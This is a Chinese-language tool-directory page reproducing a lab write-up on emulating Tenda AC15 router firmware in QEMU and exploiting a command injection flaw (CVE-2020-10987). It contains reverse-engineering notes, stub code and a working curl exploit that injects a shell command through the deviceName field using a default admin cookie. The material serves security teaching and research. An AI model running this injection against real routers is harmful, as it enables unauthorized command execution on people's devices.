Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Tenda-Router-VR-and-Exploit — 针对Tenda AC15路由器固件重托管和远程命令执行(CVE-2020-10987)漏洞利用复现的编写指南。 | Kitploit
工具/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
嵌入式系统安全物联网安全漏洞分析漏洞利用逆向工程渗透测试硬件安全学习与教育固件分析

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
二进制利用
实验室与实践
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

针对Tenda AC15路由器固件重托管和远程命令执行(CVE-2020-10987)漏洞利用复现的编写指南。

查看仓库
149个月前尚未审核

Tenda-Router-VR-and-Exploit

这篇说明详细展示了我如何仿真AC15 (V15.03.05.19)固件的Web服务器,使用QEMU,使其可以从主机浏览器访问,并利用存在漏洞的/goform/setUsbUnload处理程序(CVE-2020-10987)在仿真的根文件系统中执行命令。


概述

  • 从固件镜像中提取(在我们的案例中是获取)squashfs文件系统并开始逆向分析
  • 构建一个在qemu-system-arm下运行的Debian armhf虚拟机
  • 设置虚拟机的网络和端口转发路径到仿真的路由器
  • 构建我们的启动脚本
  • 攻击仿真的路由器

提取文件系统

首先我们需要获取固件镜像。我未能找到AC15 V15.03.05.19的固件镜像下载链接,但我找到了一个GitHub仓库,其中包含了已提取的squashfs文件系统。 如果我们有正确的镜像文件,我们可以使用binwalk像这样提取它,``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
由于我们没有正确的镜像文件,但有一个已经提取了文件系统的仓库,我们可以直接克隆该仓库。```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

我创建了一个名为 VR 的目录,并将此仓库克隆到其中。我的 rootfs 位于 $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs

很好,现在我们有了 AC15 V15.03.05.19 固件。接下来进行一些逆向分析,看看情况如何。

逆向工程

我将使用 Ghidra 11.4.2 进行逆向分析。 让我们导航到目标二进制文件 rootfs/bin/httpd,并将其加载到 Ghidra 中。 如果我们转到 formsetUsbUnload 函数,可以看到,```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
这是漏洞所在。`deviceName`参数被直接传递给`doSystemCmd`,从而允许我们发送任意命令。

既然我们要使用qemu重放此固件,而非原始路由器硬件,一些程序会尝试访问不存在的设备,导致我们的启动过程崩溃。
由于我们的目标是利用Web服务器(`httpd`),我只专注于重放该二进制文件,而不是整个启动过程(`/rootfs/etc_ro/init.d/rcS`)。_事后看来,我不确定这是否是正确做法_

因此,在查看`rcS`时,我想找出`rcS`可能做的、而`httpd`可能需要的内容。在文件末尾附近,我们可以看到:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS 在其余堆栈启动之前,在后台启动 cfmd。 经过更多研究并查看易受攻击的函数如何发送命令后,我得出的结论是:

  • httpd 构建一个 cfm post
  • 然后 cfm 客户端通过 UNIX 域套接字(例如 /var/cfm_socket)与 cfmd 通信

在 cfmd 的 InitServer 例程中,我们可以看到```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
它创建一个 UIX 套接字并进行监听。
总体工作方式是,处理程序从每个客户端读取一个固定的 0x7e0 字节帧(`RecvMsg`/`SendMsg`)。前 4 个字节是命令代码;然后是一个 512 字节的键缓冲区和 1500 字节的值缓冲区(你可以在处理程序中看到栈对象的大小)。它根据操作码进行切换并回复一个 ACK 代码:
- `2` -> Get: `GetCfmValue(key, value)` 然后回复代码 `3`
- `0` -> Set: `SetCfmValue(key, value)` 然后回复代码 `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` 然后回复代码 `0x12`
- `10` -> Commit: `SaveCfm2Flash()` 然后回复 `0x10`(成功)或 `0xB`(错误)

因此,为了模拟 `cfmd`,我创建了一个简短的脚本 `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

我将在下一部分之后展示如何编译它。

下一个辅助文件是 hooks.so。有几个在 httpd 和 cfm 中使用的函数尝试与不存在的硬件交互。

以下是我们的程序启动时假设的内容:

  • Flash + MTD 分区存在并且可挂载。
  • 存在 NVRAM 设备 (/dev/nvram) 并返回合理的默认值。
  • 杂项平台例程成功(Layer-7 设置加载器、射频功率恢复等)。

以下函数成为问题,因此我们必须使用 LD_PRELOAD=/hooks.so 进行修补。

  • get_flash_type() -> 如果返回 4,代码将采用基于文件的路径 (cfm_file_init),否则它将尝试与 MTD 通信(而我们没有 MTD)。
  • get_cfm_blk_size_from_cache()(或其变体 j_get_cfm_blk_size_from_cache)用于咨询配置块大小。
  • 对 Broadcom NVRAM 垫片 (bcm_nvram_get) 的调用不得失败,否则堆栈会假设“NVRAM 已损坏”并进入恢复/重启逻辑。
  • 其他例程如 load_l7setting_file() 和 restore_power() 预期会成功,但它们会触及不存在的硬件/文件。

这是我们的 hooks.c。感谢 azeria-labs 提供原始代码。```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
现在,让我们编译这些文件并将它们放入我们的固件中。
要进行交叉编译,我们可以使用 Bootlin 的预构建 uClibc 工具链。```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

您应该看到类似以下内容:```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
现在我们可以用```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

然后最后将它们安装到固件中。``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## 构建 ARM 客户系统
让我们使用 qemu 完整系统设置我们的 arm 客户机。
我在 `~/qsys` 创建了一个目录来存放这个客户系统。

现在在这个目录中,让我们通过以下步骤来设置我们的客户机:```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

这将创建我们的 armhf 根文件系统,更新我们的客户机,设置一些基础工具,然后将 root username:password 设置为 root:root。

接下来,使用以下命令安装 armhf 内核```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
然后我们将内核复制出来并构建 ext4 镜像```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

现在启动我们的客户系统 从 ~/qsys 运行```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
以下是启动命令中各行实际含义的简要说明。
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` 使用 Versatile Express A9 开发板模型(Debian 的 armmp 内核支持的开发板)
- `-kernel/-dtb/-initr` 为这款开发板启动 Debian 内核/initrd,并附带 vexpress 设备树二进制文件
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` 标准的 SD 卡上 rootfs 配置,使用 PL011 串口控制台
- `-nographic -audiodev none,id=noaudio` 纯串口界面(无 SDL 窗口)且无音频
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU 用户模式 NAT;将 `host:2222` 转发到 `guest:22`,`host:8080` 转发到 `guest:80`。这对网络配置很重要,稍后会详细说明
- `-device virtio-net-device,netdev=net0` 为 `net0` 后端附加一个网卡
- `-drive file=./armhf.ext4,if=sd,format=raw` Debian rootfs 位于类似 SD 卡的块设备上(`/dev/mmcblk0`)
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` 通过 9p 使用标签 `fw` 将固件 rootfs(只读)暴露给客户机。我们会将其挂载到 `/firmware`,并在其上叠加一个 overlayfs 以实现可写性

在客户机内部,你可能会遇到一些错误。只要你能看到登录提示符并用 `root:root` 登录,那就没问题。

接下来,为了让客户机系统联网,请运行以下命令```
dhclient -v eth0  ||  udhcpc -i eth0

这将在 eth0 上获取一个DHCP租约

现在安装socat``` apt-get update && apt-get install -y socat

root@kitploit:~
## 启动脚本
接下来,我们在客户机的根目录中创建启动脚本。```bash
nano boot_tenda.sh

这是我们虚拟机中的启动脚本 /root/boot_tenda_sh,包含解释每个步骤的注释。```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
现在是时候运行它了```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

您应该会看到一个在端口 80 上监听的服务 httpd
要进一步验证,请在您的宿主机上访问 http://127.0.0.1:8080/,即可看到路由器的首页。

如果您想了解更多关于网络如何工作的细节,请继续阅读;否则可以跳到最后一节,在那里我们将利用该 Web 服务器。

网络工作原理简要概述

我们需要在虚拟机内加载路由器的 httpd,但要让宿主机浏览器能通过 http://127.0.0.1:8080/ 访问它,同时服务器仍认为自己绑定在路由器的 LAN IP(192.168.0.1)上。
实现这一目标需要三部分协作:

  1. QEMU 用户网络(slirp)+ hostfwd
  2. 虚拟机内的一个虚拟 LAN 接口(br0,IP 为 192.168.0.1)
  3. 虚拟机内的一个本地 TCP 中继(socat)

1. QEMU 用户网络(slirp)+ hostfwd

我们在启动命令中通过指定如下参数来实现:```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` 启用slirp(QEMU的用户模式NAT):客户机可以出站访问互联网(DHCP、DNS),无需在宿主机上使用root网桥或TAP设备。
- `hostfwd=tcp::2222-:22` 将宿主机端口2222转发到客户机端口22。
- `hostfwd=tcp::8080-:80` 将宿主机端口8080转发到客户机端口80。

然后我们获取`eth0`的DHCP租约。注意,Slirp通常为客户机分配`10.0.2.15`,网关为`10.0.2.2`。```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. 使路由器的LAN IP存在于客户机中

真实的固件期望绑定到IP为192.168.0.1的LAN网桥br0。我们重新创建它:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
- 这些二进制文件(或其库)经常查询接口名称(例如 `lan_ifname=br0`),并期望一个桥接设备。
- 将 httpd 绑定到 `192.168.0.1` 可使其行为/重定向(例如 `302` 到 `http://192.168.0.1/main.html`)与真实设备一致。
- 此时,httpd 仅监听 `192.168.0.1:80`(而不是客户机的 `eth0`)。

### 3. 通过 `socat` 将桥接 `hostfwd` 转发至固件监听器
`host:8080` -> `guest:80` 已由 QEMU 设置完成。但 `httpd` 并未监听客户机的 `eth0:80`,而是监听 `192.168.0.1:80`。因此,在客户机内部,我们添加一个微小的 TCP 中继:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

这是整体布局``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## Exploit Time
Web 堆栈通过一些同源/AJAX 检查和“已登录”cookie 来保护“goform”端点。发送 UI JavaScript 会发送的相同标头:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

这到底是做什么的?

  • Host/Origin/Referer/X-Requested-With 通过处理器中的 AJAX + 同源检查
  • Cookie: user=admin; password=<md5> 模拟已登录会话。在此例中,我使用了 md5("admin") = 21232f297a57a5a743894a0e4a801fc3
  • deviceName=$(touch /tmp/Hello_World) 将设备名称设置为我们要运行的命令。在此例中,我们正在创建一个文件 /tmp/Hello_World 注意,运行此命令会挂起一段时间,然后很可能会因错误关闭连接。这是正常的,也是其工作证明。

接下来,在来宾中进一步验证,我们可以检查新文件是否存在。```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
您应该会看到```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

我们通过执行发送的命令成功利用了重新托管的路由器

下载工具